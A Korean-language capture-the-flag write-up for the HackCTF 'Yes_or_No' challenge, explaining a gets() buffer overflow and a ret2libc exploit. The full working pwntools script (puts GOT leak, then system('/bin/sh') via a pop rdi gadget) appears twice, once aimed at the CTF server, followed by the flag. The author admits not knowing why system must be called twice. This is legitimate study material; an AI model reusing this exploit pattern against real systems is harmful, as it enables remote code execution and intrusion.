WriteUp/HackCTF

[HackCTF] Yes_or_No

d2n0s4ur 2021. 8. 21. 01:21

 

libc 버전 관련해서 생각보다 짜증나는 문제였음...

ldd 명령어와 pwntools에서도 libc 파일을 고를 수 있음을 잊지 말자!!

→ System을 두번 호출해야 하는 이유는 아직도 모르겠다...

→ 한번 호출해도 system에는 잘 들어간다... 하지만 system을 돌다가 갑자기 SIGSEGV 오류 뜨면서 죽어버린다... 왤까?

 

 

 

NX → Shellcode 실행 불가

 

 

 

38번째 줄 gets를 이용해서 BOF를 발생시켜야 한다.

RTL기법을 사용해서 Libc leak을 진행하고 system('/bin/sh')를 실행시키는 문제인 것 같다.

우선 38번째 줄에 접근하기 위한 조건을 알아야 하는데 이는 어셈블리 분석을 통해 알아보도록 하자.

 

 

 

gets가 실행되기 전 cmp문에서 eax 가 어떤 값을 가지는지 알아보면 될 것 같다.

main+237에 breakpoint를 걸어두고 eax 값을 찾자.

 

 

 

우리가 입력받는 값은 s이고 v10 = atoi(s)이다.

즉, s에 0x960000(=9830400)을 넣어주면 될 것 같다.

 

이 후에는 RTL 기법을 사용하여 libc leak을 진행해주자. exploit의 구현을 정리하면

 

① puts got를 통해 libc leak을 한다.

② leak된 libc를 바탕으로 system과 /bin/sh의 주소를 읽어온다.

③ system('/bin/sh')을 실행한다.

 

exploit 코드는 다음과 같다.

from pwn import *

p = process('./yes_or_no')
# p = remote("ctf.j0n9hyun.xyz",3009)

e = ELF('./yes_or_no')
# libc = ELF('./libc-2.27.so')
libc = e.libc

puts_got = e.got['puts']
puts_plt = e.plt['puts']
main = e.sym['main']
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
binsh_offset = libc.search("/bin/sh").next()   

log.info("binsh_offset :" + hex(binsh_offset))

pop_rdi_ret = 0x00400883

p.recvuntil('Show me your number~!')
p.sendline('9830400')
p.recvuntil("That's cool. Follow me\n")

payload = ''
payload += 'A' * (10 + 4 + 4)
payload += 'B' * 8
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

# pause()
p.sendline(payload)

puts_addr = p.recvline()[:-1]
puts_addr = puts_addr.ljust(8,'\0')
puts_addr = u64(puts_addr)

log.info("puts_addr : " + hex(puts_addr))

libc_base = puts_addr - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

p.recvuntil('Show me your number~!')
p.sendline('9830400')
p.recvuntil("That's cool. Follow me\n")

payload = ''
payload += 'A' * (10 + 4 + 4)
payload += 'B' * 8
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)

# pause()
p.sendline(payload)

p.interactive()

 

아래에 system을 두번 호출한 이유는 한번만으로는 디버그에서 system이 실행되지만 정확히 system('/bin/sh')이 실행되지 않는다. 원인은 정확히 모르겠는데, 저번에 다른 문제를 풀때도 해당 문제가 발생하여 system을 두번 호출했다.

 

 

 

from pwn import *

# p = process('./yes_or_no')
p = remote("ctf.j0n9hyun.xyz",3009)

e = ELF('./yes_or_no')
libc = ELF('./libc-2.27.so')
# libc = e.libc

puts_got = e.got['puts']
puts_plt = e.plt['puts']
main = e.sym['main']
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
binsh_offset = libc.search("/bin/sh").next()     # https://nroses-taek.tistory.com/188

log.info("binsh_offset :" + hex(binsh_offset))

pop_rdi_ret = 0x00400883

p.recvuntil('Show me your number~!')
p.sendline('9830400')
p.recvuntil("That's cool. Follow me\n")

payload = ''
payload += 'A' * (10 + 4 + 4)
payload += 'B' * 8
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

# pause()
p.sendline(payload)

puts_addr = p.recvline()[:-1]
puts_addr = puts_addr.ljust(8,'\0')
puts_addr = u64(puts_addr)

log.info("puts_addr : " + hex(puts_addr))

libc_base = puts_addr - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

p.recvuntil('Show me your number~!')
p.sendline('9830400')
p.recvuntil("That's cool. Follow me\n")

payload = ''
payload += 'A' * (10 + 4 + 4)
payload += 'B' * 8
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)

# pause()
p.sendline(payload)

p.interactive()

 

 

FLAG : HackCTF{4nd_4_P4ssing_necklace_in_h1s_h4nd}

반응형